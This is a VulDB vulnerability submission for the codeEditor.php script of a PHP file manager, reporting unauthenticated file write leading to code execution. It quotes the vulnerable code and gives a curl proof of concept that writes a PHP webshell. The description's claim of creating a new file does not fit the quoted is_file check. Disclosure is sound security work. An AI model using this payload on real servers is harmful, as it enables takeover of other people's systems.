| Título | JosephChuks php-file-manager-with-code-editor(CWP Code Editor v2.0.1) latest (main branch, codeEditor.php) Arbitrary File Write (CWE-22) / Code Injection (CWE-94) |
|---|
| Descripción | codeEditor.php (v2.0.1) allows unauthenticated arbitrary file write via the save handler, leading to remote code
execution.
Lines 9-15:
if (!isset($_GET["filename"]) || !is_file($_GET["filename"])) {
die("Invalid file specified.");
}
$filename = $_GET["filename"];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$content = $_POST["content"];
file_put_contents($filename, $content);
}
No authentication is performed. The $_GET['filename'] parameter is passed directly to file_put_contents() without path
sanitization or extension validation. An attacker can POST to codeEditor.php?filename=shell.php with PHP code as
content, creating a webshell in the web root.
PoC: curl -X POST -d "content=<?php system(\$_GET[c]);?>" "http://target/codeEditor.php?filename=shell.php"
CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|---|
| Fuente | ⚠️ https://github.com/JosephChuks/php-file-manager-with-code-editor/blob/main/codeEditor.php#L9 |
|---|
| Usuario | milocat (UID 99840) |
|---|
| Sumisión | 2026-07-20 05:08 (hace 2 meses) |
|---|
| Moderación | 2026-09-22 08:29 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 408348 [JosephChuks php-file-manager-with-code-editor hasta 3.0 Save codeEditor.php file_put_contents filename/content escalada de privilegios] |
|---|
| Puntos | 20 |
|---|